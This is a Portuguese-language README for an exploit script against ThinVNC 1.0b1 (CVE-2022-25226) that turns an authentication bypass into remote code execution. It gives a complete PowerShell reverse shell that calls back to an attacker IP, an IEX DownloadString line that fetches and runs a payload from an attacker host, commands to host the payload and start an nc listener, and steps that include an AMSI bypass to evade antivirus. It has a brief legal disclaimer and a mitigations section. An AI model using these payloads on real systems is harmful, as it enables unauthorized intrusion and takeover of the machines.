ThinVNC 1.0b1 - Contorno de Autenticação para Execução Remota de Código (CVE-2022-25226)

Autor: krill-x7
Referência: https://fluidattacks.com/advisories/sinatra

---

Visão Geral

O ThinVNC 1.0b1 contém uma vulnerabilidade de contorno de autenticação (CVE-2022-25226) que permite a atacantes remotos interagir com o backend sem autenticação. Ao aproveitar os endpoints /cmd expostos, os atacantes podem simular pressionamentos de teclas, abrir o PowerShell, contornar o AMSI e executar comandos arbitrários—levando, em última instância, à Execução Remota de Código (RCE).

Este script encadeia essas primitivas para obter um reverse shell no sistema alvo.

---

Aviso Legal

Este código é fornecido apenas para fins educacionais.
Use-o somente em sistemas que você possui ou para os quais você está explicitamente autorizado a testar.

---

Requisitos

• Python 3
• Script de reverse shell rev.ps1 hospedado na sua máquina atacante
• Um listener (ex.: Netcat) para capturar o shell

---

Uso

python3 thinvnc_rce.py -t <TARGET_IP> -tp <TARGET_PORT> -a <ATTACKER_IP> -ap <ATTACKER_PORT>

---

Exemplo

python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000

---

Configuração do Payload

1. Crie o rev.ps1

Salve isto em um arquivo chamado rev.ps1.
Importante: Substitua 192.168.1.200 e 8000 pelo IP do seu atacante e porta de escuta.

$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
  $sendback = (iex $data 2>&1 | Out-String );
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
  $stream.Write($sendbyte,0,$sendbyte.Length);
  $stream.Flush()
}
$client.Close()

---

2. Hospede o rev.ps1

A partir do mesmo diretório:

python3 -m http.server 8000

---

3. Inicie um Listener

nc -lvnp 8000

---

Fluxo de Trabalho do Exploit

1. Obtenha um SID válido usando uma solicitação não autenticada para /cmd?cmd=connect.
2. Inicie esse SID com acesso de teclado/mouse via /cmd?cmd=start.
3. Envie a combinação de teclas Ctrl+Esc para abrir o menu Iniciar.
4. Inicie o PowerShell em modo de bypass.
5. Contorne o AMSI para desativar as proteções do PowerShell.
6. Execute o payload de reverse shell a partir do seu servidor HTTP.

---

Execução do Payload

Este é o payload que é executado em memória:

IEX((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/rev.ps1'))

Substitua <ATTACKER_IP> e <PORT> pelo seu IP e porta reais.

---

Notas

• O payload é executado usando injeção de comandos baseada na área de transferência.
• O bypass de AMSI está incluído para evadir detecções de AV baseadas no PowerShell.
• O ThinVNC executa o PowerShell com as permissões de usuário padrão—se estiver sendo executado como administrador, o shell será elevado.

---

Mitigações

• Não exponha o ThinVNC à internet.
• Bloqueie o endpoint /cmd por meio da configuração do servidor web ou WAF.
• Use alternativas suportadas e seguras (ex.: Apache Guacamole).
• Monitore o uso do PowerShell e o comportamento de injeção via área de transferência.

---

Créditos

• Exploit e automação: krill-x7
• Descoberta da vulnerabilidade e advisory: Fluid Attacks – Advisory Sinatra